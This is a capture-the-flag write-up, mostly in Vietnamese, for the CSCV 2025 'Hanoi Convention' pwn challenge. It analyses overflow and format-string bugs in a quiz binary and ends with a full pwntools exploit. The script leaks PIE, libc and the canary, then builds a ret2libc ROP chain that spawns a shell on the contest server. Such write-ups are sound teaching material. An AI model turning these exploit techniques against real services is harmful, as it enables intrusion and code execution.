# CSCV 2025 Quals: Hanoi Convention

## I. Recon

Full mitigation. Provided zip chỉ có một ELF file duy nhất, không thêm libc/docker.

Chạy thử thì thấy báo không có file `question.json`. Dùng ida để navigate thì thấy có hàm handle việc xử lí câu hỏi

Có vẻ `question.json` chỉ tồn tại trên server, xin hỗ trợ từ btc thì ...

Btc funni, remote thử lên server, tương tác thì thấy file `question.json` đó lưu các câu hỏi, cần thiết cho việc `start challenge`

Sau khi test thử thì mỗi lần chơi phải trả lời đủ 10 câu hỏi, chơi 2 lần thì nhận ra bộ câu hỏi cũng na ná format -> tự create một cái file `question.json` ở local cho thuận tiện việc debug

## II. Analysis
Đến được đây thì mình cảm giác hàm `load_question` không có gì đặc biệt (cứ cho là nó chỉ handle việc load câu hỏi và không có bug) nên sẽ bỏ qua (rất nguy hiểm, đừng như mình)

###
Program có một vài hàm đáng chú ý:

- Hàm `create` cho khởi tạo player name, cùng một số các variable khác

- Hàm view show player information

- Hàm `start_challenge` xử lí việc tương tác giữa player và 10 câu hỏi -> tính điểm, update rank, abcxyz...

- Ngoài ra còn một hàm `edit` chỉ xuất hiện khi `rank > 4`, cho phép edit information của player
###
Flow chương trình có vẻ khá dể hiểu, chỉ là một game trả lời câu hỏi update rank/score cơ bản nên mình sẽ không phân tích quá chi tiết, sau đây sẽ là các bug trong bài
- Bug đầu trong hàm `edit`:
```C
printf("Enter new name: ");
if ( fgets(s, 0x80, stdin) )
{
v1 = strlen(s);
if ( v1 && s[v1 - 1] == 0xA )
s[v1 - 1] = 0;
strcpy(name, s);
```
`strcpy` vào `name` có thể hơn `0x50 bytes`, và ghi đè vào các variable khác
```C
.bss:00000000000060E0 ; char name[64]
.bss:00000000000060E0 name db 40h dup(?) ; DATA XREF: create+B0↑o
.bss:00000000000060E0 ; create+15A↑o ...
.bss:0000000000006120 score dd ? ; DATA XREF: create:loc_1ED9↑w
.bss:0000000000006120 ; view+5D↑r ...
.bss:0000000000006124 quiz_passed dd ? ; DATA XREF: create+86↑w
.bss:0000000000006124 ; view+79↑r ...
.bss:0000000000006128 maybe_padding dd ? ; DATA XREF: create+9A↑w
.bss:0000000000006128 ; start_m+30F↑r ...
.bss:000000000000612C rank dd ? ; DATA XREF: create+90↑w
.bss:000000000000612C ; view+95↑r ...
.bss:0000000000006130 ; char *quote
.bss:0000000000006130 quote dq ? ; DATA XREF: create+149↑w
.bss:0000000000006130 ; view+E8↑r
.bss:0000000000006130 _bss ends
.bss:0000000000006130
```
- Bug thứ 2 nằm ở trong hàm `start_challenge`:
```C
puts("\nYou have shown deep understanding and are awarded an honorary certificate!");
printf("Write your thoughts: ");
v6 = read(0, buf, 0xE0uLL);
if ( v6 > 0 )
{
if ( buf[v6 - 1] == 10 )
buf[v6 - 1] = 0;
else
buf[v6] = 0;
printf("Added to log: %s\n", buf);
snprintf(qword_60A0, 0x40uLL, "You have reached rank %d\nYour thoughts: %s", rank, buf);
}
```
```C
unsigned __int64 start_m()
{
int v0; // eax
__int64 i; // [rsp+0h] [rbp-1C0h]
int j; // [rsp+8h] [rbp-1B8h]
int k; // [rsp+Ch] [rbp-1B4h]
int v5; // [rsp+10h] [rbp-1B0h]
ssize_t v6; // [rsp+18h] [rbp-1A8h]
_DWORD v7[50]; // [rsp+20h] [rbp-1A0h] BYREF
char s[8]; // [rsp+E8h] [rbp-D8h] BYREF
char buf[200]; // [rsp+F0h] [rbp-D0h] BYREF
unsigned __int64 v10; // [rsp+1B8h] [rbp-8h]
v10 = __readfsqword(0x28u);
```
Có một stack buffer overflow ở đây, cho phép ghi đè saved `rbp` và saved `rip`
Hơn nữa, việc ta có thể kiểm soát `buf`, sau đó sẽ được `snprintf` vào `qword_60A0` sẽ dẫn đến bug thứ 3
- Bug thứ 3 trong hàm `view`:
```C
printf("Activity Log: ");
__printf_chk(1LL, qword_60A0);
putchar(10);
return puts(quote);
```
Nếu kết hợp với bug 2 (control `qword_60A0`), ta sẽ được format string bug
Nếu kết hợp với bug 1 (control biến `quote`), ta sẽ được arbitrary leak
## III. Exploit
### Summary
- Bug 1 bof: cho phép ghi đè các variable, cần `rank > 5`
- Bug 2 bof: có khả năng rce và bổ sung cho bug 3, cần `rank > 19`
- Bug 3 fmtstr: có khả năng leak
### Idea
- Trả lời câu hỏi chỉ cần chọn câu trả lời dài nhất là đúng (lmfao)
- Dễ nhận thấy leo tận `rank 19` có vẻ bất khả thi (do điều kiện của game nên cần trả lời hơn 1000 câu hỏi) -> leo `rank 5` -> dùng bug 1 để overwrite `rank` và `score` để sang bug 2
- Đến được bug 2, dùng `buf` để tạo arbitrary format string `"%p.%p.%p...."` gán vào `qword_60A0`
- Đến bug 3, dùng format string để leak. (TIPS: lúc leak thì mình nhận ra hàm `__printf_chk` có giới hạn, nó có add security check gì đó khiến mình chỉ leak được mỗi `stack` và `PIE` là stable (good enough), còn các value còn lại có thể hên xui dựa theo glibc version (thứ mà mình không có))
- Đến bug 1, overwrite `quote` variable trỏ đến GOT để leak libc (do đã có `PIE`)
- Leak tầm vài lần thì tìm được libc version của server là [đây](https://libc.blukat.me/?q=puts%3Abe0%2Cread%3Aa80&l=libc6_2.39-0ubuntu8.6_amd64) và tính được libc base
- Đến bug 1, overwrite `quote` variable trỏ lên stack (do đã có) để leak `canary`
- Đến bug 3, chuẩn bị payload `ret2libc` ở `buf`, đồng thời bof ghi đè `rbp` và `rip` để stack pivot vào payload
### Script
```python
#!/usr/bin/env python3
from pwn import *
import socket
import hashlib
import re
from multiprocessing import Pool, cpu_count
def solve_pow(challenge, prefix_zeros=6):
target = '0' * prefix_zeros
counter = 0
print(f"[*] Solving PoW for challenge: {challenge}")
print(f"[*] Target: hash starting with {prefix_zeros} zeros")
while True:
attempt = str(counter)
hash_input = challenge + attempt
hash_result = hashlib.sha256(hash_input.encode()).hexdigest()
if hash_result.startswith(target):
print(f"[+] Found solution: {attempt}")
print(f"[+] Hash: {hash_result}")
return attempt
counter += 1
if counter % 100000 == 0:
print(f"[*] Tried {counter} attempts... Current hash: {hash_result[:12]}...")
def solve_pow_parallel(args):
challenge, start, step, prefix_zeros = args
target = '0' * prefix_zeros
counter = start
while True:
attempt = str(counter)
hash_input = challenge + attempt
hash_result = hashlib.sha256(hash_input.encode()).hexdigest()
if hash_result.startswith(target):
return attempt, hash_result
counter += step
def solve_pow_multicore(challenge, prefix_zeros=6):
num_processes = cpu_count()
print(f"[*] Using {num_processes} CPU cores for parallel solving")
with Pool(num_processes) as pool:
args = [(challenge, i, num_processes, prefix_zeros) for i in range(num_processes)]
result = pool.map_async(solve_pow_parallel, args)
solutions = result.get(timeout=120)
for sol in solutions:
if sol:
return sol[0]
def connect_and_solve(challenge):
prefix_zeros = 6
solution = solve_pow(challenge, prefix_zeros)
sla(b"answer: ", f"{solution}".encode())
exe = ELF('./quiz_patched')
libc = ELF('./libc6_2.39-0ubuntu8.6_amd64.so')
context.binary = exe
s = lambda a: p.send(a)
sa = lambda a, b: p.sendafter(a, b)
sl = lambda a: p.sendline(a)
sla = lambda a, b: p.sendlineafter(a, b)
lleak = lambda a, b: log.info(a + " = %#x" % b)
rcu = lambda a: p.recvuntil(a)
debug = lambda : gdb.attach(p, gdbscript = script)
def create(name):
sla(b"> ", b"1")
sa(b"name: ", name)
def view():
sla(b"> ", b"2")
def start_m():
sla(b"> ", b"3")
for x in range(10):
rcu(b"--- Question")
rcu(b"?\n")
ans = []
res = 0
for i in range(4):
ans.append(p.recvline())
for i in range(1, 4):
if(len(ans[i]) > len(ans[res])):
res = i
sla(b"> ", f"{res + 1}".encode())
def edit(data):
sla(b"> ", b"4")
sla(b"name: ", data)
script = '''
brva 0x20C7
brva 0x21D3
'''
p = remote("pwn4.cscv.vn", 9999)
rcu(b"Challenge: ")
poc = p.recvline()[:-1:]
poc = poc.decode("utf-8")
connect_and_solve(poc)
#p = process('./quiz_patched')
create(b"A" * 0x40)
for i in range(10):
start_m()
payload = b"A" * (0x50 - 1)
edit(payload)
# bof and fmrstr
start_m()
rcu(b"thoughts: ")
payload = b"%p." * (200//3)
s(payload)
view()
# leak libc and pie
rcu(b"thoughts: ")
rcu(b".")
rcu(b".")
rcu(b".")
rcu(b".")
stack_leak = int(rcu(b".")[:-1:], 16)
code_base = int(rcu(b".")[:-1:], 16) - 0x2987
lleak("stack_leak", stack_leak)
lleak("code_base", code_base)
# leak puts
payload = b"A" * (0x50)
puts_got = code_base + exe.got['puts']
payload += p64(puts_got)
edit(payload)
view()
rcu(b"thoughts: ")
for i in range(6):
rcu(b".")
rcu(b"\n")
puts = u64(p.recv(6).ljust(8, b"\x00"))
# leak read
payload = b"A" * (0x50)
read_got = code_base + exe.got['read']
payload += p64(read_got)
edit(payload)
view()
rcu(b"thoughts: ")
for i in range(6):
rcu(b".")
rcu(b"\n")
read = u64(p.recv(6).ljust(8, b"\x00"))
lleak("puts", puts)
lleak("read", read)
libc_base = puts - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + list(libc.search(b"/bin/sh\x00"))[0]
pop_rdi = libc_base + 0x000000000010f78b
ret = pop_rdi + 1
leave_ret = code_base + 0x0000000000001e3f
#debug()
# leak canary
payload = b"A" * (0x50)
payload += p64(stack_leak - 8 + 1)
edit(payload)
view()
rcu(b"thoughts: ")
for i in range(6):
rcu(b".")
rcu(b"\n")
canary = (u64(p.recv(7).ljust(8, b"\x00"))) << 8
lleak("canary", canary)
# rop
start_m()
rcu(b"thoughts: ")
payload = p64(pop_rdi) + p64(binsh) + p64(system)
payload = payload.ljust(0xc8, b"A")
payload += p64(canary)
payload += p64(stack_leak - 0x100 - 8) + p64(leave_ret)
s(payload)
sleep(0.5)
sl(b"cat /flag")
p.interactive()
```
## IV. Appendix
- Server có proof of work, cần giải hash mới được tương tác với server, thanks Tạ Quốc Hùng for help me deal with that
- Việc trả lời câu hỏi rất lâu, khiến việc debug bằng gdb lẫn remote lên server rất mất thời gian (we can patch the `rank` when initalize for eaiser debug at local)
- Challenge sẽ hay hơn nếu author cho `docker` + `json` file
- Tricky chall
